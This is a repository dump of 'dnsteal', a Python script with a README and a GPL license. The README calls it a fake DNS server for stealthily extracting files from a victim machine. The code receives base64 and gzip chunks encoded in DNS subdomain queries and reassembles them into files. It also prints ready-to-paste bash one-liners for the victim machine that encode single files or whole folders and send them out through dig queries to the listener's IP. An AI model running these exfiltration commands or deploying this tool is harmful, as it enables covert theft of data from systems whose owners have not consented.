├── README.md ├── dnsteal.py └── LICENSE /README.md: -------------------------------------------------------------------------------- 1 | # dnsteal v 2.0 2 | 3 | This is a fake DNS server that allows you to stealthily extract files from a victim machine through DNS requests. 4 | 5 | Below are a couple of different images showing examples of multiple file transfer and single verbose file transfer: 6 | 7 | ![Alt text](http://i.imgur.com/nJsoAMv.png) 8 | 9 | * Support for multiple files 10 | * Gzip compression supported 11 | * Now supports the customisation of subdomains and bytes per subdomain and the length of filename 12 | 13 | See help below: 14 | 15 | ![Alt text](http://i.imgur.com/GT5SV2L.png) 16 | 17 | If you do not understand the help, then just use the program with default options! 18 | 19 | ```bash 20 | python dnsteal.py 127.0.0.1 -z -v 21 | ``` 22 | 23 | This one would send 45 bytes per subdomain, of which there are 4 in the query. 15 bytes reserved for filename at the end. 24 | 25 | ```bash 26 | python dnsteal.py 127.0.0.1 -z -v -b 45 -s 4 -f 15 27 | ``` 28 | 29 | This one would leave no space for filename. 30 | 31 | ```bash 32 | python dnsteal.py 127.0.0.1 -z -v -b 63 -s 4 -f 0 33 | ``` 34 | -------------------------------------------------------------------------------- /dnsteal.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # g0dmode 3 | ######################## 4 | # 5 | # TODO (in order of priority): 6 | # 7 | # * Windows PowerShell command variant (This will be 2.1 coming soon). 8 | # * fix bugs when no filename is entered (i know it exists just cba atm) 9 | # 10 | 11 | import socket 12 | import sys 13 | import binascii 14 | import time 15 | import hashlib 16 | import zlib 17 | import re 18 | import base64 19 | 20 | c = { "r" : "\033[1;31m", "g": "\033[1;32m", "y" : "\033[1;33m", "b" : "\033[1;34m", "e" : "\033[0m" } 21 | VERSION = "2.0" 22 | 23 | class DNSQuery: 24 | def __init__(self, data): 25 | self.data = data 26 | self.data_text = '' 27 | 28 | tipo = (ord(data[2]) >> 3) & 15 # Opcode bits 29 | if tipo == 0: # Standard query 30 | ini=12 31 | lon=ord(data[ini]) 32 | while lon != 0: 33 | self.data_text += data[ini+1:ini+lon+1]+'.' 34 | ini += lon+1 35 | lon=ord(data[ini]) 36 | 37 | def request(self, ip): 38 | packet='' 39 | if self.data_text: 40 | packet+=self.data[:2] + "\x81\x80" 41 | packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' # Questions and Answers Counts 42 | packet+=self.data[12:] # Original Domain Name Question 43 | packet+='\xc0\x0c' # Pointer to domain name 44 | packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' # Response type, ttl and resource data length -> 4 bytes 45 | packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) # 4bytes of IP 46 | return packet 47 | 48 | def save_to_file(r_data, z, v): 49 | 50 | print "\n" 51 | 52 | for key,value in r_data.iteritems(): 53 | 54 | file_seed = time.strftime("%Y-%m-%d_%H-%M-%S") 55 | fname = "recieved_%s_%s" % (file_seed, key) 56 | flatdata = "" 57 | 58 | for block in value: 59 | flatdata += block[:-1].replace("*", "+") # fix data (remove hyphens at end, replace * with + because of dig!) 60 | 61 | # print flatdata 62 | 63 | try: 64 | f = open(fname, "wb") 65 | except: 66 | print "%s[Error]%s Opening file '%s' to save data." % (c["r"], c["e"], fname) 67 | exit(1) 68 | try: 69 | if v: 70 | print "%s[Info]%s base64 decoding data (%s)." % (c["y"], c["e"], key) 71 | flatdata = base64.b64decode(flatdata) # test if padding correct by using a try/catch 72 | except: 73 | f.close() 74 | print "%s[Error]%s Incorrect padding on base64 encoded data.." % (c["r"], c["e"]) 75 | exit(1) 76 | 77 | if (z): 78 | if v: 79 | print "%s[Info]%s Unzipping data (%s)." % (c["y"], c["e"], key) 80 | 81 | try: 82 | x = zlib.decompressobj(16+zlib.MAX_WBITS) 83 | flatdata = x.decompress(flatdata) 84 | except: 85 | print "%s[Error]%s Could not unzip data, did you specify the -z switch ?" % (c["r"], c["e"]) 86 | exit(1) 87 | 88 | print "%s[Info]%s Saving recieved bytes to './%s'" % (c["y"], c["e"], fname) 89 | f.write(flatdata) 90 | f.close() 91 | else: 92 | print "%s[Info]%s Saving bytes to './%s'" % (c["y"], c["e"], fname) 93 | f.write(flatdata) 94 | f.close() 95 | 96 | 97 | print "%s[md5sum]%s '%s'\n" % (c["g"], c["e"], hashlib.md5(open(fname, "r").read()).hexdigest()) 98 | 99 | def usage(str=""): 100 | 101 | banner() 102 | print "Usage: python %s [listen_address] [options]" % sys.argv[0] 103 | print "\nOptions:" 104 | print "\t-z\tUnzip incoming files." 105 | print "\t-v\tVerbose output." 106 | print "\t-h\tThis help menu" 107 | print 108 | print "Advanced:" 109 | print "\t-b\tBytes to send per subdomain (default = 57, max=63)" 110 | print "\t-s\tNumber of data subdomains per request (default = 4, ie. $data.$data.$data.$data.$filename)" 111 | print "\t-f\tLength reserved for filename per request (default = 17)" 112 | print 113 | print "%s$ python %s -z 127.0.0.1%s" % (c["g"], sys.argv[0], c["e"]) 114 | print 115 | print "%s-------- Do not change the parameters unless you understand! --------%s" % (c["r"], c["e"]) 116 | print 117 | print "The query length cannot exceed 253 bytes. This is including the filename." 118 | print "The subdomains lengths cannot exceed 63 bytes." 119 | print 120 | print "Advanced: " 121 | print "\t%s 127.0.0.1 -z -s 4 -b 57 -f 17\t4 subdomains, 57 bytes => (57 * 4 = 232 bytes) + (4 * '.' = 236). Filename => 17 byte(s)" % sys.argv[0] 122 | print "\t%s 127.0.0.1 -z -s 4 -b 55 -f 29\t4 subdomains, 55 bytes => (55 * 4 = 220 bytes) + (4 * '.' = 224). Filename => 29 byte(s)" % sys.argv[0] 123 | print "\t%s 127.0.0.1 -z -s 4 -b 63 -f 1\t4 subdomains, 63 bytes => (62 * 4 = 248 bytes) + (4 * '.' = 252). Filename => 1 byte(s)" % sys.argv[0] 124 | print 125 | print str 126 | 127 | def p_cmds(s,b,ip,z): 128 | 129 | print "%s[+]%s On the victim machine, use any of the following commands:" % (c["g"], c["e"]) 130 | print "%s[+]%s Remember to set %sfilename%s for individual file transfer." % (c["g"], c["e"], c["y"], c["e"]) 131 | print 132 | 133 | if (z): 134 | print "%s[?]%s Copy individual file (ZIP enabled)" % (c["y"], c["e"]) 135 | print """\t%s\x23%s %sf=file.txt%s; s=%s;b=%s;c=0; for r in $(for i in $(gzip -c $f| base64 -w0 | sed "s/.\{$b\}/&\\n/g");do if [[ "$c" -lt "$s" ]]; then echo -ne "$i-."; c=$(($c+1)); else echo -ne "\\n$i-."; c=1; fi; done ); do dig @%s `echo -ne $r$f|tr "+" "*"` +short; done """ % (c["r"], c["e"], c["y"], c["e"], s, b, ip ) 136 | print 137 | print "%s[?]%s Copy entire folder (ZIP enabled)" % (c["y"], c["e"]) 138 | print """\t%s\x23%s for f in $(ls .); do s=%s;b=%s;c=0; for r in $(for i in $(gzip -c $f| base64 -w0 | sed "s/.\{$b\}/&\\n/g");do if [[ "$c" -lt "$s" ]]; then echo -ne "$i-."; c=$(($c+1)); else echo -ne "\\n$i-."; c=1; fi; done ); do dig @%s `echo -ne $r$f|tr "+" "*"` +short; done ; done""" % (c["r"], c["e"], s, b, ip ) 139 | print 140 | else: 141 | print "%s[?]%s Copy individual file" % (c["y"], c["e"]) 142 | print """\t%s\x23%s %sf=file.txt%s; s=%s;b=%s;c=0; for r in $(for i in $(base64 -w0 $f| sed "s/.\{$b\}/&\\n/g");do if [[ "$c" -lt "$s" ]]; then echo -ne "$i-."; c=$(($c+1)); else echo -ne "\\n$i-."; c=1; fi; done ); do dig @%s `echo -ne $r$f|tr "+" "*"` +short; done """ % (c["r"], c["e"], c["y"], c["e"], s, b, ip ) 143 | print 144 | print "%s[?]%s Copy entire folder" % (c["y"], c["e"]) 145 | print """\t%s\x23%s for f in $(ls .); do s=%s;b=%s;c=0; for r in $(for i in $(base64 -w0 $f | sed "s/.\{$b\}/&\\n/g");do if [[ "$c" -lt "$s" ]]; then echo -ne "$i-."; c=$(($c+1)); else echo -ne "\\n$i-."; c=1; fi; done ); do dig @%s `echo -ne $r$f|tr "+" "*"` +short; done ; done""" % (c["r"], c["e"], s, b, ip ) 146 | print 147 | 148 | 149 | def banner(): 150 | 151 | print "\033[1;32m", 152 | print """ 153 | ___ _ _ ___ _ _ 154 | | \| \| / __| |_ ___ __ _| | 155 | | |) | .` \__ \ _/ -_) _` | | 156 | |___/|_|\_|___/\__\___\__,_|_|v%s 157 | 158 | -- https://github.com/m57/dnsteal.git --\033[0m 159 | 160 | Stealthy file extraction via DNS requests 161 | """ % VERSION 162 | 163 | if __name__ == '__main__': 164 | ########################### 165 | 166 | z = False 167 | s = 4 168 | b = 57 169 | flen = 17 170 | v = False 171 | regx_ip = "^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$"; 172 | 173 | if "-h" in sys.argv or len(sys.argv) < 2: 174 | usage() 175 | exit(1) 176 | 177 | ip = sys.argv[1] 178 | 179 | if re.match(regx_ip, ip) == None: 180 | usage("%s[Error]%s First argument must be listen address." % (c["r"], c["e"])) 181 | exit(1) 182 | 183 | if "-z" in sys.argv: 184 | z = True 185 | if "-s" in sys.argv: 186 | s = int(sys.argv[sys.argv.index("-s")+1]) 187 | if "-b" in sys.argv: 188 | b = int(sys.argv[sys.argv.index("-b")+1]) 189 | if "-f" in sys.argv: 190 | flen = int(sys.argv[sys.argv.index("-f")+1]) 191 | if "-v" in sys.argv: 192 | v = True 193 | 194 | if ( (b > 63) or ((b * s) > 253) or (((b * s) + flen) > 253)): 195 | usage("%s[Error]%s Entire query cannot be > 253. Read help (-h)" % (c["r"], c["e"])) 196 | 197 | ############################################################################################ 198 | banner() 199 | 200 | udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 201 | 202 | try: 203 | udp.bind((ip,53)) 204 | except: 205 | print "%s[Error]%s Cannot bind to address %s:53" % (c["r"], c["e"], ip) 206 | exit(1) 207 | 208 | print "%s[+]%s DNS listening on '%s:53'" % (c["g"], c["e"], ip) 209 | p_cmds(s,b,ip,z) 210 | print "%s[+]%s Once files have sent, use Ctrl+C to exit and save.\n" % (c["g"], c["e"]) 211 | 212 | try: 213 | r_data = {} 214 | while 1: 215 | # There is a bottle neck in this function, if very slow PC, will take 216 | # slightly longer to send as this main loop recieves the data from victim. 217 | 218 | data, addr = udp.recvfrom(1024) 219 | p=DNSQuery(data) 220 | udp.sendto(p.request(ip), addr) 221 | 222 | req_split = p.data_text.split(".") 223 | req_split.pop() # fix trailing dot... cba to fix this 224 | 225 | dlen = len(req_split) 226 | fname = "" 227 | tmp_data = [] 228 | 229 | for n in range(0,dlen): 230 | if req_split[n][len(req_split[n])-1] == "-": 231 | tmp_data.append(req_split[n]) 232 | else: 233 | # Filename 234 | fname += req_split[n] + "." 235 | 236 | fname = fname[:-1] 237 | 238 | if fname not in r_data: 239 | r_data[fname] = [] 240 | 241 | print "%s[>]%s len: '%d bytes'\t- %s" % (c["y"], c["e"], len(p.data_text), fname) 242 | if v: 243 | print '%s[>>]%s %s -> %s:53' % (c["b"], c["e"], p.data_text, ip) 244 | 245 | for d in tmp_data: 246 | r_data[fname].append(d) 247 | 248 | # print r_data 249 | 250 | except KeyboardInterrupt: 251 | # exit(1) 252 | save_to_file(r_data, z, v) 253 | print '\n\033[1;31m[!]\033[0m Closing...' 254 | udp.close() 255 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | {description} 294 | Copyright (C) {year} {fullname} 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | {signature of Ty Coon}, 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | 341 | --------------------------------------------------------------------------------